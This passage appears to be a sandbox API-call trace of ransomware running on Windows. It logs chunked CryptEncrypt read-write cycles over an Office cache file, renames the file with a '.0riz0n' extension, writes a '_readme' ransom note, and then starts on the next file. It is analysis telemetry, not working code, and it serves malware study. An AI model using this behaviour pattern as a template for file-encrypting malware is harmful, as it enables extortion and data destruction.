dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0190.838] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=62914560, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x3c00000 [0190.838] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0190.986] FlushFileBuffers (hFile=0x1c0) returned 1 [0191.383] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x4600000 [0191.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0191.397] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0192.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0192.743] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0192.871] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0193.015] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0193.145] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=73400320, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x4600000 [0193.145] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0193.397] FlushFileBuffers (hFile=0x1c0) returned 1 [0193.692] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x5000000 [0193.692] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0193.692] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0194.389] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0194.759] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0194.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0194.986] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0195.147] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=83886080, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x5000000 [0195.147] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0195.344] FlushFileBuffers (hFile=0x1c0) returned 1 [0195.901] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x5a00000 [0195.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0195.902] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0196.540] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0196.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0197.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0197.091] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0197.266] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=94371840, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x5a00000 [0197.266] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0197.474] FlushFileBuffers (hFile=0x1c0) returned 1 [0198.007] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x6400000 [0198.007] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0198.008] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0198.623] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0199.038] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0199.117] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0199.161] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0199.335] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=104857600, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x6400000 [0199.335] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0199.595] FlushFileBuffers (hFile=0x1c0) returned 1 [0199.912] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x6e00000 [0199.913] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0199.914] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0200.231] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0200.461] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0200.529] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0200.584] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0200.688] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=115343360, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x6e00000 [0200.688] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0200.916] FlushFileBuffers (hFile=0x1c0) returned 1 [0200.981] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x7800000 [0200.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0200.982] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0201.424] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0201.642] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0201.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0201.797] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0201.899] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=125829120, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x7800000 [0201.899] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0202.094] FlushFileBuffers (hFile=0x1c0) returned 1 [0202.156] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x8200000 [0202.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0202.160] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0202.599] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0202.882] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0202.934] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0202.992] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0203.132] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=136314880, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x8200000 [0203.132] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0203.274] FlushFileBuffers (hFile=0x1c0) returned 1 [0203.353] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x8c00000 [0203.353] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0203.354] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0203.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0204.006] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0204.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0204.106] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0204.195] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=146800640, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x8c00000 [0204.195] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0204.354] FlushFileBuffers (hFile=0x1c0) returned 1 [0204.441] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x9600000 [0204.444] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0204.445] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0205.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0205.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0205.499] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0205.591] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0205.793] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=157286400, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x9600000 [0205.793] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0206.049] FlushFileBuffers (hFile=0x1c0) returned 1 [0206.447] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa000000 [0206.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x97cc00) returned 0x2d50020 [0206.447] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0x97cbdb, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0x97cbdb, lpOverlapped=0x0) returned 1 [0206.883] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x97cc00) returned 0x36d0020 [0207.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0207.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x36d0020) returned 1 [0207.243] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x97d000) returned 0x2d50020 [0207.436] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x97cbdb, dwBufLen=0x97cfdb | out: pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x97cbe0) returned 1 [0207.554] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0207.643] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=167772160, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xa000000 [0207.643] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0x97cbdb, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0x97cbdb, lpOverlapped=0x0) returned 1 [0207.891] FlushFileBuffers (hFile=0x1c0) returned 1 [0207.977] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0207.978] NtClose (Handle=0x1c0) returned 0x0 [0207.979] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.0riz0n")) returned 1 [0207.980] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0207.981] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0207.981] GetLastError () returned 0x2 [0207.981] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984868, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0207.981] GetLastError () returned 0x2 [0207.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0208.054] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0208.054] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0208.055] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0208.055] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xb) returned 0xa9d630 [0208.056] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x92776ef0, dwHighDateTime=0x1d59598)) returned 1 [0208.056] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0208.056] NtClose (Handle=0x1c0) returned 0x0 [0208.057] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0208.057] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0208.057] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0208.057] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0208.106] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0208.107] CryptDestroyKey (hKey=0x829d78) returned 1 [0208.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0208.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0208.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0208.110] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0208.110] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31)) returned 1 [0208.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0208.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0208.118] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0208.118] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0208.119] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0208.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0208.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0208.119] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31)) returned 1 [0208.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0208.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0208.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0208.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0208.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0208.119] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31)) returned 1 [0208.119] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0208.119] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0208.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0208.119] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0208.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0208.119] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0208.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0208.120] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, 